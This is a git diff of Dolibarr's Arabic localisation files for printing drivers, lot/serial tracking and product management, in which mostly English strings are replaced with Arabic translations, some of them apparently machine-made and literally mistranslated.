PRINTGCP_TOKEN_ACCESS=جوجل الغيمة طباعة أوث رمز -PrintGCPDesc=This driver allows sending documents directly to a printer using Google Cloud Print. +PrintGCPDesc=يسمح برنامج التشغيل هذا بإرسال المستندات مباشرة إلى الطابعة باستخدام الطباعة في السحاب من Google. GCP_Name=اسم GCP_displayName=اسم العرض GCP_Id=طابعة معرف @@ -27,7 +27,7 @@ GCP_OwnerName=اسم المالك GCP_State=الدولة طابعة GCP_connectionStatus=الدولة عبر الإنترنت GCP_Type=نوع الطابعة -PrintIPPDesc=This driver allows sending of documents directly to a printer. It requires a Linux system with CUPS installed. +PrintIPPDesc=يسمح برنامج التشغيل هذا بإرسال المستندات مباشرة إلى الطابعة. يتطلب نظام Linux مثبتًا عليه CUPS. PRINTIPP_HOST=ملقم الطباعة PRINTIPP_PORT=ميناء PRINTIPP_USER=تسجيل الدخول @@ -46,9 +46,9 @@ IPP_Device=جهاز IPP_Media=وسائل الإعلام طابعة IPP_Supported=نوع من وسائل الإعلام DirectPrintingJobsDesc=هذا عمل القوائم صفحة الطباعة تم العثور عليها ل الطابعات المتوفرة. -GoogleAuthNotConfigured=Google OAuth has not been setup. Enable module OAuth and set a Google ID/Secret. -GoogleAuthConfigured=Google OAuth credentials were found into setup of module OAuth. +GoogleAuthNotConfigured=لم يتم إعداد Google OAuth. تمكين الوحدة النمطية OAuth وتعيين معرف / سر Google. +GoogleAuthConfigured=تم العثور على بيانات اعتماد Google OAuth في إعداد وحدة OAuth. PrintingDriverDescprintgcp=المتغيرات التكوين للسائق الطباعة في السحاب من Google طباعة. -PrintingDriverDescprintipp=Configuration variables for printing driver Cups. +PrintingDriverDescprintipp=متغيرات التكوين لطباعة أكواب السائق. PrintTestDescprintgcp=قائمة طابعات جوجل الغيمة طباعة. -PrintTestDescprintipp=List of Printers for Cups. +PrintTestDescprintipp=قائمة طابعات الكؤوس. diff --git a/htdocs/langs/ar_SA/productbatch.lang b/htdocs/langs/ar_SA/productbatch.lang index 529f7a6f6f4..303ae6e9ce8 100644 --- a/htdocs/langs/ar_SA/productbatch.lang +++ b/htdocs/langs/ar_SA/productbatch.lang @@ -17,29 +17,31 @@ printBatch=الكثير / التسلسلي:٪ الصورة printEatby=تناول الطعام عن طريق:٪ الصورة printSellby=بيع عن طريق:٪ الصورة printQty=الكمية:٪ د +printPlannedWarehouse=المخازن AddDispatchBatchLine=إضافة سطر لالصلاحية إيفاد -WhenProductBatchModuleOnOptionAreForced=When module Lot/Serial is on, automatic stock decrease is forced to 'Decrease real stocks on shipping validation' and automatic increase mode is forced to 'Increase real stocks on manual dispatching into warehouses' and can't be edited. Other options can be defined as you want. +WhenProductBatchModuleOnOptionAreForced=عندما تكون دفعة الوحدة / المسلسل قيد التشغيل ، يتم إجبار خفض المخزون التلقائي على "تقليل المخزونات الحقيقية عند التحقق من صحة الشحن" ويتم فرض وضع الزيادة التلقائية على "زيادة المخزونات الحقيقية في الإرسال اليدوي إلى المستودعات" ولا يمكن تحريرها. يمكن تحديد الخيارات الأخرى كما تريد. ProductDoesNotUseBatchSerial=هذا المنتج لا يستخدم الكثير / الرقم التسلسلي ProductLotSetup=إعدادات الحصة / الرقم التسلسلي ShowCurrentStockOfLot=عرض المخزون الحالي للمنتجات/الحصص. ShowLogOfMovementIfLot=عرض سجل الحركات للمنتجات/ الحصص . StockDetailPerBatch=تفاصيل المخزون لكل قطعة SerialNumberAlreadyInUse=الرقم التسلسلي %s مستخدم للمنتج %s -TooManyQtyForSerialNumber=You can only have one product %s for serial number %s +TooManyQtyForSerialNumber=يمكنك الحصول على منتج واحد فقط %s للرقم التسلسلي %s ManageLotMask=قناع مخصص -CustomMasks=Option to define a different numbering mask for each product -BatchLotNumberingModules=Numbering rule for automatic generation of lot number -BatchSerialNumberingModules=Numbering rule for automatic generation of serial number (for products with property 1 unique lot/serial for each product) -QtyToAddAfterBarcodeScan=Qty to %s for each barcode/lot/serial scanned +CustomMasks=خيار لتحديد قناع ترقيم مختلف لكل منتج +BatchLotNumberingModules=قاعدة الترقيم للإنشاء التلقائي لرقم التشغيلة +BatchSerialNumberingModules=قاعدة الترقيم للإنشاء التلقائي للرقم التسلسلي (للمنتجات ذات الخاصية 1 دفعة / مسلسل فريد لكل منتج) +QtyToAddAfterBarcodeScan=الكمية إلى %s لكل رمز شريطي / مجموعة / مسلسل تم مسحه ضوئيًا LifeTime=المدة (بالأيام) EndOfLife=نهاية المدة ManufacturingDate=تاريخ التصنيع DestructionDate=تاريخ التدمير FirstUseDate=تاريخ أول استخدام -QCFrequency=Quality control frequency (in days) -ShowAllLots=Show all lots -HideLots=Hide lots +QCFrequency=تردد مراقبة الجودة (بالأيام) +ShowAllLots=عرض كل القطع +HideLots=إخفاء الكثير #Traceability - qc status -OutOfOrder=Out of order -InWorkingOrder=In working order -ToReplace=Replace +OutOfOrder=خارج عن السيطرة +InWorkingOrder=عمل الأمر بسلاسة +ToReplace=يحل محل +CantMoveNonExistantSerial=خطأ. أنت تطلب نقلًا على سجل لمسلسل لم يعد موجودًا بعد الآن. قد تأخذ نفس المسلسل في نفس المستودع عدة مرات في نفس الشحنة أو تم استخدامه بواسطة شحنة أخرى. قم بإزالة هذه الشحنة وإعداد واحدة أخرى. diff --git a/htdocs/langs/ar_SA/products.lang b/htdocs/langs/ar_SA/products.lang index bda51095681..347f5ba892e 100644 --- a/htdocs/langs/ar_SA/products.lang +++ b/htdocs/langs/ar_SA/products.lang @@ -2,7 +2,7 @@ ProductRef=مرجع المنتج ProductLabel=وصف المنتج ProductLabelTranslated=تسمية المنتج مترجمة -ProductDescription=Product description +ProductDescription=وصف المنتج ProductDescriptionTranslated=ترجمة وصف المنتج ProductNoteTranslated=ترجمة مذكرة المنتج ProductServiceCard=منتجات / بطاقة الخدمات @@ -17,43 +17,43 @@ Create=إنشاء Reference=المرجع NewProduct=منتج جديد NewService=خدمة جديدة -ProductVatMassChange=Global VAT Update -ProductVatMassChangeDesc=This tool updates the VAT rate defined on ALL products and services! +ProductVatMassChange=تحديث شامل لضريبة القيمة المضافة +ProductVatMassChangeDesc=تقوم هذه الأداة بتحديث معدل ضريبة القيمة المضافة المحدد في ALL المنتجات والخدمات! MassBarcodeInit=الحرف الأول الباركود الشامل MassBarcodeInitDesc=هذه الصفحة يمكن استخدامها لتهيئة الباركود على الكائنات التي لا يكون الباركود تعريف. تحقق قبل أن الإعداد وحدة الباركود كاملة. ProductAccountancyBuyCode=كود المحاسبة (شراء) -ProductAccountancyBuyIntraCode=Accounting code (purchase intra-community) -ProductAccountancyBuyExportCode=Accounting code (purchase import) +ProductAccountancyBuyIntraCode=كود المحاسبة (شراء داخل المجتمع) +ProductAccountancyBuyExportCode=كود المحاسبة (شراء استيراد) ProductAccountancySellCode=كود المحاسبة (بيع) -ProductAccountancySellIntraCode=Accounting code (sale intra-Community) -ProductAccountancySellExportCode=Accounting code (sale export) +ProductAccountancySellIntraCode=كود المحاسبة (البيع داخل المجتمع) +ProductAccountancySellExportCode=كود المحاسبة (بيع تصدير) ProductOrService=المنتج أو الخدمة ProductsAndServices=المنتجات والخدمات ProductsOrServices=منتجات أو خدمات -ProductsPipeServices=Products | Services -ProductsOnSale=Products for sale -ProductsOnPurchase=Products for purchase -ProductsOnSaleOnly=Products for sale only -ProductsOnPurchaseOnly=Products for purchase only +ProductsPipeServices=المنتجات | خدمات +ProductsOnSale=منتجات للبيع +ProductsOnPurchase=منتجات للشراء +ProductsOnSaleOnly=منتجات للبيع فقط +ProductsOnPurchaseOnly=منتجات للشراء فقط ProductsNotOnSell=منتجات ليست للبيع ولا الشراء ProductsOnSellAndOnBuy=المنتجات للبيع والشراء -ServicesOnSale=Services for sale -ServicesOnPurchase=Services for purchase -ServicesOnSaleOnly=Services for sale only -ServicesOnPurchaseOnly=Services for purchase only +ServicesOnSale=خدمات للبيع +ServicesOnPurchase=خدمات للشراء +ServicesOnSaleOnly=خدمات للبيع فقط +ServicesOnPurchaseOnly=خدمات للشراء فقط ServicesNotOnSell=خدمات ليست للبيع ولا الشراء ServicesOnSellAndOnBuy=خدمات للبيع والشراء -LastModifiedProductsAndServices=Latest %s products/services which were modified -LastRecordedProducts=Latest %s recorded products -LastRecordedServices=Latest %s recorded services +LastModifiedProductsAndServices=أحدث منتجات / خدمات %s التي تم تعديلها +LastRecordedProducts=أحدث المنتجات المسجلة %s +LastRecordedServices=أحدث الخدمات المسجلة %s CardProduct0=المنتج CardProduct1=الخدمة Stock=المخزون MenuStocks=المخزون -Stocks=Stocks and location (warehouse) of products +Stocks=المخزون وموقع (المستودع) للمنتجات Movements=حركات Sell=يبيع -Buy=Purchase +Buy=شراء OnSell=متاح للبيع OnBuy=للشراء NotOnSell=ليس للبيع @@ -68,19 +68,19 @@ ProductStatusNotOnBuyShort=ليس للشراء UpdateVAT=تحديث الضريبة على القيمة المضافة UpdateDefaultPrice=تحديث السعر الافتراضي UpdateLevelPrices=أسعار التحديث لكل مستوى -AppliedPricesFrom=Applied from +AppliedPricesFrom=تطبق من SellingPrice=سعر البيع -SellingPriceHT=Selling price (excl. tax) +SellingPriceHT=سعر البيع (بدون الضريبة) SellingPriceTTC=سعر البيع (شامل الضريبية) -SellingMinPriceTTC=Minimum Selling price (inc. tax) -CostPriceDescription=This price field (excl. tax) can be used to capture the average amount this product costs to your company. It may be any price you calculate yourself, for example, from the average buying price plus average production and distribution cost. -CostPriceUsage=This value could be used for margin calculation. -ManufacturingPrice=Manufacturing price -SoldAmount=Sold amount -PurchasedAmount=Purchased amount +SellingMinPriceTTC=الحد الأدنى لسعر البيع (شامل الضريبة) +CostPriceDescription=يمكن استخدام حقل السعر هذا (باستثناء الضريبة) لتسجيل متوسط المبلغ الذي يكلفه هذا المنتج لشركتك. قد يكون أي سعر تحسبه بنفسك ، على سبيل المثال ، من متوسط سعر الشراء بالإضافة إلى متوسط تكلفة الإنتاج والتوزيع. +CostPriceUsage=يمكن استخدام هذه القيمة لحساب الهامش. +ManufacturingPrice=سعر التصنيع +SoldAmount=المبلغ المباع +PurchasedAmount=الكمية المشتراة NewPrice=السعر الجديد -MinPrice=Min. selling price -EditSellingPriceLabel=Edit selling price label +MinPrice=دقيقة. سعر البيع +EditSellingPriceLabel=تحرير تسمية سعر البيع CantBeLessThanMinPrice=سعر البيع لا يمكن أن يكون أقل من الحد الأدنى المسموح لهذا المنتج (٪ ق بدون الضرائب) ContractStatusClosed=مغلق ErrorProductAlreadyExists=المنتج ذو المرجع %sموجود بالفعل. @@ -88,7 +88,7 @@ ErrorProductBadRefOrLabel=قيمة خاطئة لـ مرجع أو ملصق. ErrorProductClone=كان هناك مشكلة أثناء محاولة استنساخ المنتج أو الخدمة. ErrorPriceCantBeLowerThanMinPrice=خطأ، سعر لا يمكن أن يكون أقل من الحد الأدنى السعر. Suppliers=الموردين -SupplierRef=Vendor SKU +SupplierRef=البائع SKU ShowProduct=عرض المنتج ShowService=عرض الخدمة ProductsAndServicesArea=منطقة المنتجات والخدمات @@ -97,7 +97,7 @@ ServicesArea=منطقة الخدمات ListOfStockMovements=قائمة الحركات المخزون BuyingPrice=سعر الشراء PriceForEachProduct=المنتجات بأسعار محددة -SupplierCard=Vendor card +SupplierCard=بطاقة البائع PriceRemoved=تمت إزالة السعر BarCode=الباركود BarcodeType=نوع الباركود @@ -105,25 +105,25 @@ SetDefaultBarcodeType=حدد نوع الباركود BarcodeValue=قيمة الباركود NoteNotVisibleOnBill=ملحوظة(غيرمرئية على الفواتير والعروض...) ServiceLimitedDuration=إذا كان المنتج هو خدمة لفترة محدودة : -FillWithLastServiceDates=Fill with last service line dates -MultiPricesAbility=Multiple price segments per product/service (each customer is in one price segment) +FillWithLastServiceDates=املأ بتاريخ آخر سطر خدمة +MultiPricesAbility=شرائح أسعار متعددة لكل منتج / خدمة (كل عميل في شريحة سعر واحدة) MultiPricesNumPrices=عدد من السعر -DefaultPriceType=Base of prices per default (with versus without tax) when adding new sale prices -AssociatedProductsAbility=Enable Kits (set of several products) -VariantsAbility=Enable Variants (variations of products, for example color, size) -AssociatedProducts=Kits -AssociatedProductsNumber=Number of products composing this kit +DefaultPriceType=أساس أسعار التخلف عن السداد (مع عدم وجود ضريبة) عند إضافة أسعار بيع جديدة +AssociatedProductsAbility=مجموعات التمكين (مجموعة من عدة منتجات) +VariantsAbility=تمكين المتغيرات (أشكال المنتجات ، على سبيل المثال اللون والحجم) +AssociatedProducts=أطقم +AssociatedProductsNumber=عدد المنتجات المكونة لهذه المجموعة ParentProductsNumber=عدد منتج التعبئة الاب -ParentProducts=Parent products -IfZeroItIsNotAVirtualProduct=If 0, this product is not a kit -IfZeroItIsNotUsedByVirtualProduct=If 0, this product is not used by any kit +ParentProducts=المنتجات الأم +IfZeroItIsNotAVirtualProduct=إذا كانت القيمة 0 ، فهذا المنتج ليس مجموعة +IfZeroItIsNotUsedByVirtualProduct=إذا كانت القيمة 0 ، فلا تستخدم أي مجموعة هذا المنتج KeywordFilter=فلتر الكلمة المقتاحية CategoryFilter=فلتر التصنيف ProductToAddSearch= إبحث عن منتج لإضافتة NoMatchFound=لا يوجد نتائج متطابقة -ListOfProductsServices=List of products/services -ProductAssociationList=List of products/services that are component(s) of this kit -ProductParentList=List of kits with this product as a component +ListOfProductsServices=قائمة المنتجات / الخدمات +ProductAssociationList=قائمة المنتجات / الخدمات المكونة (مكونات) هذه المجموعة +ProductParentList=قائمة مجموعات مع هذا المنتج كمكون ErrorAssociationIsFatherOfThis=واحد من اختيار المنتج الأم الحالية المنتج DeleteProduct=حذف منتج / خدمة ConfirmDeleteProduct=هل أنت متأكد من حذف هذا المنتج / الخدمة؟ @@ -135,21 +135,22 @@ ImportDataset_service_1=الخدمات DeleteProductLine=حذف خط الإنتاج ConfirmDeleteProductLine=هل أنت متأكد من أنك تريد حذف خط الإنتاج؟ ProductSpecial=خاص -QtyMin=Min. purchase quantity -PriceQtyMin=Price quantity min. -PriceQtyMinCurrency=Price (currency) for this qty. (no discount) -VATRateForSupplierProduct=VAT Rate (for this vendor/product) -DiscountQtyMin=Discount for this qty. -NoPriceDefinedForThisSupplier=No price/qty defined for this vendor/product -NoSupplierPriceDefinedForThisProduct=No vendor price/qty defined for this product -PredefinedItem=Predefined item -PredefinedProductsToSell=Predefined Product -PredefinedServicesToSell=Predefined Service +QtyMin=دقيقة. كمية الشراء +PriceQtyMin=كمية السعر دقيقة. +PriceQtyMinCurrency=السعر (العملة) لهذه الكمية. +WithoutDiscount=بدون خصم +VATRateForSupplierProduct=معدل ضريبة القيمة المضافة (لهذا البائع / المنتج) +DiscountQtyMin=خصم على هذه الكمية. +NoPriceDefinedForThisSupplier=لم يتم تحديد سعر / كمية لهذا البائع / المنتج +NoSupplierPriceDefinedForThisProduct=لم يتم تحديد سعر البائع / الكمية لهذا المنتج +PredefinedItem=عنصر محدد مسبقًا +PredefinedProductsToSell=منتج محدد مسبقا +PredefinedServicesToSell=الخدمة المحددة مسبقًا PredefinedProductsAndServicesToSell=منتجات محددة مسبقا / خدمات للبيع PredefinedProductsToPurchase=المنتج مسبقا لشراء PredefinedServicesToPurchase=خدمات محددة مسبقا لشراء -PredefinedProductsAndServicesToPurchase=Predefined products/services to purchase -NotPredefinedProducts=Not predefined products/services +PredefinedProductsAndServicesToPurchase=المنتجات / الخدمات المحددة مسبقًا للشراء +NotPredefinedProducts=منتجات / خدمات غير محددة مسبقًا GenerateThumb=توليد صورة مصغرة ServiceNb=خدمة #%s ListProductServiceByPopularity=قائمة المنتجات / الخدمات حسب الشهرة @@ -158,25 +159,25 @@ ListServiceByPopularity=قائمة الخدمات بحسب الشهرة Finished=المنتجات المصنعة RowMaterial=المادة الخام ConfirmCloneProduct=هل انت متأكد انك ترغب في استنساخ المنتج/الخدمة %s؟ -CloneContentProduct=Clone all main information of the product/service -ClonePricesProduct=Clone prices -CloneCategoriesProduct=Clone linked tags/categories -CloneCompositionProduct=Clone virtual products/services -CloneCombinationsProduct=Clone the product variants +CloneContentProduct=استنساخ جميع المعلومات الرئيسية للمنتج / الخدمة +ClonePricesProduct=أسعار النسخ +CloneCategoriesProduct=استنساخ العلامات / الفئات المرتبطة +CloneCompositionProduct=استنساخ المنتجات / الخدمات الافتراضية +CloneCombinationsProduct=استنساخ متغيرات المنتج ProductIsUsed=هذا المنتج يتم استخدامة NewRefForClone=مرجع. المنتج/ الخدمة الجديدة  SellingPrices=أسعار بيع BuyingPrices=شراء أسعار CustomerPrices=أسعار العميل SuppliersPrices=أسعار المورد -SuppliersPricesOfProductsOrServices=Vendor prices (of products or services) -CustomCode=Customs|Commodity|HS code -CountryOrigin=Country of origin -RegionStateOrigin=Region of origin -StateOrigin=State|Province of origin -Nature=Nature of product (raw/manufactured) -NatureOfProductShort=Nature of product -NatureOfProductDesc=Raw material or manufactured product +SuppliersPricesOfProductsOrServices=أسعار البائعين (للمنتجات أو الخدمات) +CustomCode=الجمارك | السلع | رمز النظام المنسق +CountryOrigin=بلد المنشأ +RegionStateOrigin=منطقة المنشأ +StateOrigin=الولاية | مقاطعة المنشأ +Nature=طبيعة المنتج (خام / مصنع) +NatureOfProductShort=طبيعة المنتج +NatureOfProductDesc=المواد الخام أو المنتجات المصنعة ShortLabel=التسمية قصيرة Unit=وحدة p=ش. @@ -199,39 +200,39 @@ m2=متر مربع m3=متر مكعب liter=لتر l=L -unitP=Piece -unitSET=Set +unitP=قطعة +unitSET=تعيين unitS=الثاني unitH=ساعة unitD=يوم -unitG=Gram -unitM=Meter -unitLM=Linear meter -unitM2=Square meter -unitM3=Cubic meter -unitL=Liter -unitT=ton +unitG=غرام +unitM=متر +unitLM=متر طولي +unitM2=متر مربع +unitM3=متر مكعب +unitL=لتر +unitT=طن unitKG=كجم -unitG=Gram +unitG=غرام unitMG=مغلم unitLB=جنيه unitOZ=أوقية -unitM=Meter +unitM=متر unitDM=مارك ألماني unitCM=الطول unitMM=مم -unitFT=ft -unitIN=in -unitM2=Square meter +unitFT=قدم +unitIN=في +unitM2=متر مربع unitDM2=dm² unitCM2=سم ² unitMM2=مم ² unitFT2=قدم مربع unitIN2=in² -unitM3=Cubic meter +unitM3=متر مكعب unitDM3=dm³ -unitCM3=cm³ -unitMM3=mm³ +unitCM3=سم³ +unitMM3=مم³ unitFT3=ft³ unitIN3=في بوابة unitOZ3=أوقية @@ -242,15 +243,15 @@ CurrentProductPrice=السعر الحالي AlwaysUseNewPrice=دائما استخدم السعر الحالي للمنتج / الخدمة AlwaysUseFixedPrice=استخدم السعر الثابت PriceByQuantity=أسعار مختلفة حسب الكمية -DisablePriceByQty=Disable prices by quantity +DisablePriceByQty=تعطيل الأسعار بالكمية PriceByQuantityRange=مدى الكمية -MultipriceRules=Automatic prices for segment -UseMultipriceRules=Use price segment rules (defined into product module setup) to auto calculate prices of all other segments according to first segment +MultipriceRules=الأسعار التلقائية للقطاع +UseMultipriceRules=استخدم قواعد شريحة السعر (المحددة في إعداد وحدة المنتج) لحساب أسعار جميع الشرائح الأخرى تلقائيًا وفقًا للشريحة الأولى PercentVariationOver=٪٪ الاختلاف على الصورة٪ PercentDiscountOver=٪٪ خصم أكثر من٪ الصورة -KeepEmptyForAutoCalculation=Keep empty to have this calculated automatically from weight or volume of products -VariantRefExample=Examples: COL, SIZE -VariantLabelExample=Examples: Color, Size +KeepEmptyForAutoCalculation=احتفظ به فارغًا ليتم حسابه تلقائيًا من وزن أو حجم المنتجات +VariantRefExample=أمثلة: COL ، SIZE +VariantLabelExample=أمثلة: اللون والحجم ### composition fabrication Build=إنتاج ProductsMultiPrice=المنتجات و الاسعار لكل شريحة @@ -261,153 +262,170 @@ Quarter1=الربع الإول Quarter2=الربع الثاني Quarter3=الربع الثالث Quarter4=الربع الرابع -BarCodePrintsheet=طباعة الباركود -PageToGenerateBarCodeSheets=With this tool, you can print sheets of barcode stickers. Choose format of your sticker page, type of barcode and value of barcode, then click on button %s. +BarCodePrintsheet=طباعة الرموز الشريطية +PageToGenerateBarCodeSheets=باستخدام هذه الأداة ، يمكنك طباعة أوراق ملصقات الباركود. اختر تنسيق صفحة الملصق ونوع الباركود وقيمة الباركود ، ثم انقر فوق الزر %s . NumberOfStickers=عدد من الملصقات للطباعة على الصفحة PrintsheetForOneBarCode=طباعة عدة ملصقات لالباركود واحد BuildPageToPrint=توليد صفحة للطباعة FillBarCodeTypeAndValueManually=ملء نوع وقيمة الباركود يدويا. FillBarCodeTypeAndValueFromProduct=ملء نوع وقيمة الباركود من باركود المنتج. FillBarCodeTypeAndValueFromThirdParty=ملء نوع وقيمة الباركود من باركود طرف ثالت. -DefinitionOfBarCodeForProductNotComplete=Definition of type or value of barcode not complete for product %s. -DefinitionOfBarCodeForThirdpartyNotComplete=Definition of type or value of barcode non complete for third party %s. -BarCodeDataForProduct=Barcode information of product %s: -BarCodeDataForThirdparty=Barcode information of third party %s: -ResetBarcodeForAllRecords=Define barcode value for all record (this will also reset barcode value already defined with new values) -PriceByCustomer=Different prices for each customer -PriceCatalogue=A single sell price per product/service -PricingRule=Rules for selling prices +DefinitionOfBarCodeForProductNotComplete=تعريف نوع أو قيمة الباركود غير كامل للمنتج %s. +DefinitionOfBarCodeForThirdpartyNotComplete=تعريف نوع أو قيمة الباركود غير كامل بالنسبة لجهة خارجية %s. +BarCodeDataForProduct=معلومات الباركود للمنتج %s: +BarCodeDataForThirdparty=معلومات الباركود لطرف ثالث %s: +ResetBarcodeForAllRecords=تحديد قيمة الرمز الشريطي لجميع السجلات (سيؤدي هذا أيضًا إلى إعادة تعيين قيمة الرمز الشريطي المحددة بالفعل بقيم جديدة) +PriceByCustomer=أسعار مختلفة لكل عميل +PriceCatalogue=سعر بيع واحد لكل منتج / خدمة +PricingRule=قواعد أسعار البيع AddCustomerPrice=إضافة السعر من قبل العملاء -ForceUpdateChildPriceSoc=Set same price on customer's subsidiaries +ForceUpdateChildPriceSoc=حدد نفس السعر على الشركات التابعة للعميل PriceByCustomerLog=سجل الأسعار العملاء السابقة MinimumPriceLimit=سعر الحد الأدنى لا يمكن أن يكون أقل ثم٪ الصورة -MinimumRecommendedPrice=Minimum recommended price is: %s +MinimumRecommendedPrice=أدنى سعر موصى به هو: %s PriceExpressionEditor=محرر السعر التعبير PriceExpressionSelected=اختيار التعبير السعر PriceExpressionEditorHelp1="السعر = 2 + 2" أو "2 + 2" لتحديد السعر. استخدام ؛ لفصل التعبيرات PriceExpressionEditorHelp2=يمكنك الوصول إلى ExtraFields مع المتغيرات مثل # # extrafield_myextrafieldkey والمتغيرات العالمية مع # global_mycode # -PriceExpressionEditorHelp3=In both product/service and vendor prices there are these variables available:
      #tva_tx# #localtax1_tx# #localtax2_tx# #weight# #length# #surface# #price_min# -PriceExpressionEditorHelp4=In product/service price only: #supplier_min_price#
      In vendor prices only: #supplier_quantity# and #supplier_tva_tx# +PriceExpressionEditorHelp3=تتوفر هذه المتغيرات في أسعار المنتج / الخدمة والموردين:
      # tva_tx # # localtax1_tx # # localtax2_tx # # weight # # length # # Surface # # price_min # +PriceExpressionEditorHelp4=في سعر المنتج / الخدمة فقط: # supplier_min_price #
      في أسعار البائعين فقط: # supplier_quantity # and # supplier_tva_tx # a09a4b739f17 PriceExpressionEditorHelp5=القيم العالمية المتاحة: PriceMode=وضع السعر PriceNumeric=عدد DefaultPrice=سعر افتراضي -DefaultPriceLog=Log of previous default prices +DefaultPriceLog=سجل الأسعار الافتراضية السابقة ComposedProductIncDecStock=زيادة / نقصان الأسهم على التغيير الأم -ComposedProduct=Child products +ComposedProduct=منتجات الأطفال MinSupplierPrice=الحد الأدنى من سعر الشراء -MinCustomerPrice=Minimum selling price -NoDynamicPrice=No dynamic price +MinCustomerPrice=أدنى سعر بيع +NoDynamicPrice=لا يوجد سعر ديناميكي DynamicPriceConfiguration=التكوين سعر ديناميكي -DynamicPriceDesc=You may define mathematical formulae to calculate Customer or Vendor prices. Such formulas can use all mathematical operators, some constants and variables. You can define here the variables you wish to use. If the variable needs an automatic update, you may define the external URL to allow Dolibarr to update the value automatically. -AddVariable=Add Variable -AddUpdater=Add Updater +DynamicPriceDesc=يمكنك تحديد الصيغ الرياضية لحساب أسعار العميل أو البائع. يمكن أن تستخدم هذه الصيغ جميع العوامل الرياضية ، وبعض الثوابت والمتغيرات. يمكنك هنا تحديد المتغيرات التي ترغب في استخدامها. إذا كان المتغير يحتاج إلى تحديث تلقائي ، فيمكنك تحديد عنوان URL الخارجي للسماح لـ Dolibarr بتحديث القيمة تلقائيًا. +AddVariable=أضف متغير +AddUpdater=أضف المحدث GlobalVariables=المتغيرات العالمية -VariableToUpdate=Variable to update -GlobalVariableUpdaters=External updaters for variables +VariableToUpdate=متغير للتحديث +GlobalVariableUpdaters=المحدِّثات الخارجية للمتغيرات GlobalVariableUpdaterType0=البيانات JSON GlobalVariableUpdaterHelp0=يوزع البيانات JSON من URL محددة، تحدد قيمة الموقع من القيمة ذات الصلة، -GlobalVariableUpdaterHelpFormat0=Format for request {"URL": "http://example.com/urlofjson", "VALUE": "array1,array2,targetvalue"} +GlobalVariableUpdaterHelpFormat0=تنسيق الطلب {"URL": "http://example.com/urlofjson"، "VALUE": "array1، array2، targetvalue"} GlobalVariableUpdaterType1=بيانات خدمة ويب GlobalVariableUpdaterHelp1=يوزع بيانات خدمة ويب من URL المحدد، NS يحدد مساحة الاسم، تحدد قيمة الموقع من القيمة ذات الصلة، يجب أن تحتوي على بيانات البيانات لإرسال والطريقة هي الطريقة WS الدعوة -GlobalVariableUpdaterHelpFormat1=Format for request is {"URL": "http://example.com/urlofws", "VALUE": "array,targetvalue", "NS": "http://example.com/urlofns", "METHOD": "myWSMethod", "DATA": {"your": "data", "to": "send"}} +GlobalVariableUpdaterHelpFormat1=تنسيق الطلب هو {"URL": "http://example.com/urlofws" ، "VALUE": "array ، targetvalue" ، "NS": "http://example.com/urlofns" ، "METHOD" : "myWSMethod"، "DATA": {"your": "data"، "to": "send"}} UpdateInterval=تحديث الفاصل الزمني (دقائق) -LastUpdated=Latest update +LastUpdated=اخر تحديث CorrectlyUpdated=تحديثها بشكل صحيح PropalMergePdfProductActualFile=استخدام الملفات لإضافة إلى PDF دازور هي / هو PropalMergePdfProductChooseFile=اختر ملفات PDF -IncludingProductWithTag=Including products/services with the tag +IncludingProductWithTag=بما في ذلك المنتجات / الخدمات مع العلامة DefaultPriceRealPriceMayDependOnCustomer=سعر افتراضي، السعر الحقيقي قد تعتمد على العملاء WarningSelectOneDocument=يرجى تحديد وثيقة واحدة على الأقل DefaultUnitToShow=وحدة -NbOfQtyInProposals=Qty in proposals -ClinkOnALinkOfColumn=Click on a link of column %s to get a detailed view... -ProductsOrServicesTranslations=Products/Services translations -TranslatedLabel=Translated label -TranslatedDescription=Translated description -TranslatedNote=Translated notes -ProductWeight=Weight for 1 product -ProductVolume=Volume for 1 product -WeightUnits=Weight unit -VolumeUnits=Volume unit -WidthUnits=Width unit -LengthUnits=Length unit -HeightUnits=Height unit -SurfaceUnits=Surface unit -SizeUnits=Size unit -DeleteProductBuyPrice=Delete buying price -ConfirmDeleteProductBuyPrice=Are you sure you want to delete this buying price? -SubProduct=Sub product -ProductSheet=Product sheet -ServiceSheet=Service sheet -PossibleValues=Possible values -GoOnMenuToCreateVairants=Go on menu %s - %s to prepare attribute variants (like colors, size, ...) -UseProductFournDesc=Add a feature to define the product description defined by the vendors (for each vendor reference) in addition to the description for customers -ProductSupplierDescription=Vendor description for the product -UseProductSupplierPackaging=Use packaging on supplier prices (recalculate quantities according to packaging set on supplier price when adding/updating line in supplier documents) -PackagingForThisProduct=Packaging -PackagingForThisProductDesc=On supplier order, you will automaticly order this quantity (or a multiple of this quantity). Cannot be less than minimum buying quantity -QtyRecalculatedWithPackaging=The quantity of the line were recalculated according to supplier packaging +NbOfQtyInProposals=الكمية في المقترحات +ClinkOnALinkOfColumn=انقر فوق ارتباط العمود %s للحصول على عرض تفصيلي ... +ProductsOrServicesTranslations=ترجمة المنتجات / الخدمات +TranslatedLabel=تسمية مترجمة +TranslatedDescription=وصف مترجم +TranslatedNote=ملاحظات مترجمة +ProductWeight=الوزن لمنتج واحد +ProductVolume=الحجم لمنتج واحد +WeightUnits=وحدة الوزن +VolumeUnits=وحدة الحجم +WidthUnits=وحدة العرض +LengthUnits=وحدة الطول +HeightUnits=وحدة الارتفاع +SurfaceUnits=وحدة السطح +SizeUnits=وحدة الحجم +DeleteProductBuyPrice=حذف سعر الشراء +ConfirmDeleteProductBuyPrice=هل أنت متأكد أنك تريد حذف سعر الشراء هذا؟ +SubProduct=المنتج الفرعي +ProductSheet=ورقة المنتج +ServiceSheet=ورقة الخدمة +PossibleValues=القيم الممكنة +GoOnMenuToCreateVairants=انتقل إلى القائمة %s - %s لإعداد متغيرات السمات (مثل الألوان والحجم ...) +UseProductFournDesc=أضف ميزة لتحديد وصف المنتج المحدد من قبل البائعين (لكل مرجع مورد) بالإضافة إلى وصف العملاء +ProductSupplierDescription=وصف البائع للمنتج +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) +PackagingForThisProduct=التعبئة والتغليف +PackagingForThisProductDesc=سوف تشتري تلقائيًا مضاعفات هذه الكمية. +QtyRecalculatedWithPackaging=تمت إعادة حساب كمية الخط وفقًا لتعبئة المورد #Attributes -VariantAttributes=Variant attributes -ProductAttributes=Variant attributes for products -ProductAttributeName=Variant attribute %s -ProductAttribute=Variant attribute -ProductAttributeDeleteDialog=Are you sure you want to delete this attribute? All values will be deleted -ProductAttributeValueDeleteDialog=Are you sure you want to delete the value "%s" with reference "%s" of this attribute? -ProductCombinationDeleteDialog=Are you sure want to delete the variant of the product "%s"? 